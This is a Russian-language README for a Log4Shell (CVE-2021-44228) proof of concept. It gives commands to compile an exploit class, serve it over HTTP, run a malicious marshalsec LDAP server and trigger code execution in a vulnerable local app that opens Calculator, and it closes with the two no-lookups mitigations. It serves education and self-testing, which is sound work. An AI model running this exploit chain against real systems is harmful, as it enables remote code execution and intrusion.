
CVE-2021-44228 (Log4Shell) проверка концепции

Функции JNDI в Apache Log4j2 <=2.14.1, используемые в конфигурации, журнальных сообщениях и параметрах, не защищают от контролируемых атакующим конечных точек LDAP и других связанных с JNDI конечных точек. Атакующий, который может контролировать журнальные сообщения или параметры журнальных сообщений, может выполнить произвольный код, загруженный с LDAP-серверов, когда включена подстановка значений в сообщениях (message lookup substitution).
Чтобы помочь клиентам понять, как работает эта уязвимость, мы подготовили этот репозиторий с простым, но рабочим Proof of Concept.
Убедитесь, что локально установлены:
В настоящее время произвольный код запускает приложение Calculator в macOS или Windows, поэтому данный PoC поддерживает только эти две операционные системы.
Вся информация и код предоставляются исключительно в образовательных целях и/или для проверки собственных систем на наличие этой уязвимости.
Этот PoC повторяет описанное на картинке ниже (авторы: GovCERT.ch), за исключением уязвимого сервера, который для простоты представляет собой простой Java-класс. Важно понимать, что данная уязвимость может быть вызвана различными способами; описанный ниже — лишь один из них.

Клонируйте этот репозиторий
terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git
Скомпилируйте эксплойт (с помощью JDK 11)
terminal1 $ javac Exploit.java
Запустите HTTP-сервер для раздачи эксплойта
terminal1 $ python -m SimpleHTTPServer 8888 --directory .
Запустите вредоносный LDAPRefServer (благодарность https://github.com/mbechler/marshalsec)
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Запустите уязвимое приложение (содержащее log4j 2.14.1)
terminal3 $ mvn package && mvn exec:exec
Если всё прошло успешно, должно появиться приложение Calculator (выполнение произвольного кода)

terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
terminal3 $ mvn package && mvn exec:exec
В этом случае Calculator больше не должен появляться
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true
В этом случае Calculator больше не должен появляться